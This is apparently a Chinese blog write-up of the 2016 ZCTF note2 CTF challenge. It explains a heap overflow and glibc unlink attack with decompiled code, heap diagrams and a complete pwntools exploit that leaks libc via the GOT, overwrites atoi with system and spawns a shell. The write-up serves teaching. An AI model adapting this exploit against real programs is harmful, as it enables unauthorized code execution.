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Unlink——2016 ZCTF note2解析

时间:2018-12-14 21:12:30      阅读:210      评论:0      收藏:0      [点我收藏+]

标签:源码   hub   简单   指针   lease   .sh   rem   菜单   efault   

简介

Unlink是经典的堆漏洞,2016 ZCTF note2是ctf-wiki上的unlink例子,这里做一些简单的解析,补充原文中没有提到的细节,供新手学习。原文在这里

题目描述

首先,我们先分析一下程序,在checksec中检查文件,发现是64位程序,然后放入IDA中,f5,,得出主程序是这样:

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void __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("Input your name:");
  ReadStr((char *)&name, 64LL, 10);
  puts("Input your address:");
  ReadStr((char *)&address, 96LL, 10);
  while ( 1 )
  {
    switch ( selectchoice() )
    {
      case 1:
        NewNote();
        break;
      case 2:
        ShowNote();
        break;
      case 3:
        EditNote();
        break;
      case 4:
        DeleteNote();
        break;
      case 5:
        puts("Bye~");
        exit(0);
        return;
      case 6:
        exit(0);
        return;
      default:
        continue;
    }
  }
}
主程序

主程序是一个while循环,在selectchoice中输出一个菜单,然后读取一个输入判断

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int selectchoice()
{
  puts("1.New note\n2.Show  note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>");
  return inputNum();
}
selectchoice
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int inputNum()
{
  char nptr; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  ReadStr(&nptr, 16LL, 10);
  return atoi(&nptr);
}
inputNum

下面是4个主要功能,添加 note,size 限制为 0x80,size 会被记录,note 指针会被记录。

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int NewNote()
{
  char *note; // ST08_8
  unsigned int v2; // eax
  unsigned int size; // [rsp+4h] [rbp-Ch]

  if ( (unsigned int)NoteNum > 3 )
    return puts("note lists are full");
  puts("Input the length of the note content:(less than 128)");
  size = inputNum();
  if ( size > 128 )
    return puts("Too long");
  note = (char *)malloc(size);
  puts("Input the note content:");
  ReadStr(note, size, \n);
  RemovePercent(note);
  ptr[NoteNum] = (__int64)note;
  Len[NoteNum] = size;
  v2 = NoteNum++;
  return printf("note add success, the id is %d\n", v2);
}
NewNote

展示 note 内容。

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int ShowNote()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  LODWORD(v0) = inputNum();
  v2 = v0;
  if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
  {
    v0 = ptr[(signed int)v0];
    if ( v0 )
      LODWORD(v0) = printf("Content is %s\n", ptr[v2]);
  }
  return v0;
}
ShowNote

编辑 note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。

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unsigned __int64 EditNote()
{
  char *v0; // rax
  char *v1; // rbx
  int v3; // [rsp+8h] [rbp-E8h]
  int v4; // [rsp+Ch] [rbp-E4h]
  char *src; // [rsp+10h] [rbp-E0h]
  __int64 v6; // [rsp+18h] [rbp-D8h]
  char dest; // [rsp+20h] [rbp-D0h]
  char *v8; // [rsp+A0h] [rbp-50h]
  unsigned __int64 v9; // [rsp+D8h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  if ( NoteNum )
  {
    puts("Input the id of the note:");
    v3 = inputNum();
    if ( v3 >= 0 && v3 <= 3 )
    {
      src = (char *)ptr[v3];
      v6 = Len[v3];
      if ( src )
      {
        puts("do you want to overwrite or append?[1.overwrite/2.append]");
        v4 = inputNum();
        if ( v4 == 1 || v4 == 2 )
        {
          if ( v4 == 1 )
            dest = 0;
          else
            strcpy(&dest, src);
          v0 = (char *)malloc(0xA0uLL);
          v8 = v0;
          *(_QWORD *)v0 = oCweNehT;
          *((_QWORD *)v0 + 1) = :stnetn;
          printf(v8);
          ReadStr(v8 + 15, 144LL, 10);
          RemovePercent(v8 + 15);
          v1 = v8;
          v1[v6 - strlen(&dest) + 14] = 0;
          strncat(&dest, v8 + 15, 0xFFFFFFFFFFFFFFFFLL);
          strcpy(src, &dest);
          free(v8);
          puts("Edit note success!");
        }
        else
        {
          puts("Error choice!");
        }
      }
      else
      {
        puts("note has been deleted");
      }
    }
  }
  else
  {
    puts("Please add a note!");
  }
  return __readfsqword(0x28u) ^ v9;
}
EditNote

释放 note。

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int DeleteNote()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  LODWORD(v0) = inputNum();
  v2 = v0;
  if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
  {
    v0 = ptr[(signed int)v0];
    if ( v0 )
    {
      free((void *)ptr[v2]);
      ptr[v2] = 0LL;
      Len[v2] = 0LL;
      LODWORD(v0) = puts("delete note success!");
    }
  }
  return v0;
}
DeleteNote

题目解答

仔细分析后,可以发现程序有以下几个问题

  1. 在添加 note 时,程序会记录 note 对应的大小,该大小会用于控制读取 note 的内容,但是读取的循环变量 i 是无符号变量,所以比较时都会转换为无符号变量,那么当我们输入 size 为 0 时,glibc 根据其规定,会分配 0x20 个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。
  2. 程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。
  3. 在上述程序中有一个全局变量ptr,用来记录每次分配的内存地址,在.bss段中,地址为0x0000000000602120。

其中这三个 chunk 申请时的大小分别为 0x80,0,0x80,chunk1 虽然申请的大小为 0,但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk),所以会分配 0x20 的空间。同时,由于无符号整数的比较问题,可以为该 note 输入任意长的字符串。

这里需要注意的是,chunk0 中一共构造了两个 chunk

  • chunk ptr[0],这个是为了 unlink 时修改对应的值。
  • chunk ptr[0]‘s nextchunk,这个是为了使得 unlink 时的第一个检查满足。

利用代码:

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# coding=UTF-8
from pwn import *

p = process(./note2)
note2 = ELF(./note2)
libc = ELF(/lib/x86_64-linux-gnu/libc.so.6)
context.log_level = debug


def newnote(length, content):
    p.recvuntil(option--->>)
    p.sendline(1)
    p.recvuntil((less than 128))
    p.sendline(str(length))
    p.recvuntil(content:)
    p.sendline(content)


def shownote(id):
    p.recvuntil(option--->>)
    p.sendline(2)
    p.recvuntil(note:)
    p.sendline(str(id))


def editnote(id, choice, s):
    p.recvuntil(option--->>)
    p.sendline(3)
    p.recvuntil(note:)
    p.sendline(str(id))
    p.recvuntil(2.append])
    p.sendline(str(choice))
    p.sendline(s)


def deletenote(id):
    p.recvuntil(option--->>)
    p.sendline(4)
    p.recvuntil(note:)
    p.sendline(str(id))


p.recvuntil(name:)
p.sendline(hello)
p.recvuntil(address:)
p.sendline(hello)

# chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = a * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + b * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, a * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, b * 16)

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = a * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
#gdb.attach(p)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18

gdb.attach(p)
p.interactive()

deletenote(2)




# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got[atoi]
content = a * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)

p.recvuntil(is )
atoi_addr = p.recvuntil(\n, drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, \x00))
print leak atoi addr:  + hex(atoi_addr)

# get system addr
atoi_offest = libc.symbols[atoi]
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols[system]
system_addr = libcbase + system_offest

print leak system addr: , hex(system_addr)

# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)

# get shell
p.recvuntil(option--->>)
p.sendline(/bin/sh)
p.interactive()
利用代码

代码中首先分配了三个note,当构造完三个 note 后,堆的基本构造如图 1 所示。

                                   +-----------------+ high addr
                                   |      ...        |
                                   +-----------------+
                                   |      ‘b‘*8      |
                ptr[2]-----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|------------
                                   |    unused       |
                                   +-----------------+
                                   |    ‘a‘*8        |
                 ptr[1]----------> +-----------------+  chunk 1
                                   |    size=0x20    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|-------------
                                   |    unused       |
                                   +-----------------+
                                   |  prev_size=0x60 |
fake ptr[0] chunk‘s nextchunk----->+-----------------+
                                   |    64*‘a‘       |
                                   +-----------------+
                                   |    fakebk       |
                                   +-----------------+
                                   |    fakefd       |
                                   +-----------------+
                                   |    0x61         |  chunk 0
                                   +-----------------+
                                   |    ‘a *8        |
                 ptr[0]----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prev_size    |
                                   +-----------------+  low addr
                                           图1

释放 chunk1 - 覆盖 chunk2 - 释放 chunk2

对应的代码如下

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = ‘a‘ * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)

首先释放 chunk1,由于该 chunk 属于 fastbin,所以下次在申请的时候仍然会申请到该 chunk,同时由于上面所说的类型问题,我们可以读取任意字符,所以就可以覆盖 chunk2,覆盖之后如图 2 所示。

+-----------------+high addr
                                   |      ...        |
                                   +-----------------+
                                   |   ‘\x00‘+‘b‘*7  |
                ptr[2]-----------> +-----------------+ chunk 2
                coverValue1        |    size=0x90    |
                                   +-----------------+
                coverValue2        |    0xa0         |
                                   +-----------------|------------
                                   |    ‘a‘*8        |
                                   +-----------------+
                                   |    ‘a‘*8        |
                 ptr[1]----------> +-----------------+ chunk 1
                                   |    size=0x20    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|-------------
                                   |    unused       |
                                   +-----------------+
                                   |  prev_size=0x60 |
fake ptr[0] chunk‘s nextchunk----->+-----------------+
                                   |    64*‘a‘       |
                                   +-----------------+
                                   |    fakebk       |
                                   +-----------------+
                                   |    fakefd       |
               fake chunk--->      +-----------------+
                                   |    0x61         |  chunk 0
                                   +-----------------+
                                   |    ‘a *8        |
                 ptr[0]----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prev_size    |
                                   +-----------------+  low addr
                                           图2



和图1相比,经历了chuck1的分配和释放,造成了两个值的变更,就是图2中的coverValue1和coverValue12,coverValue1导致chunk2的前一个虚拟地址空间连续块由以及分配变为空闲,所以在释放chunk2的时候,会造成合并。
而合并操作进行时,会根据coverValue2来确定前一个块的大小,coverValue2使前一个块变为伪造的chunk,就是图2中fake chunk处,fakefd和fakebk则是伪造的,必须保证unlink的检测条件,fakefd = ptr - 0x18,fakebk = ptr - 0x10
图2中的fake ptr[0] chunk‘s nextchunk是根据fake chunk的size来确定的,也就是0x60,第二个条件要绕过去就需要构造第二个chunk,在fake chunk位置0x60之后的位置放置一个pre_size为0x60的chunk
在unlink之后,ptr被修改为ptr-0x18,注意,ptr的值就是在查看源码时发现的,存放第一个note的位置,在向note写入3个字节后,ptr的值又会被覆盖一次,所以可以使用一个像note的写入操作达到控制ptr为任意值。然后利用note的写操作更改GOT
在选择覆盖函数的GOT时,选择atoi,因为在switch语句之前会读入一个选择,用到atoi函数,并且程序没有用到system函数,所以必须计算两个函数的偏移才能得出system的libc库位置,最后覆盖也选用这个函数

Unlink——2016 ZCTF note2解析

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原文地址:https://www.cnblogs.com/likaiming/p/10121445.html

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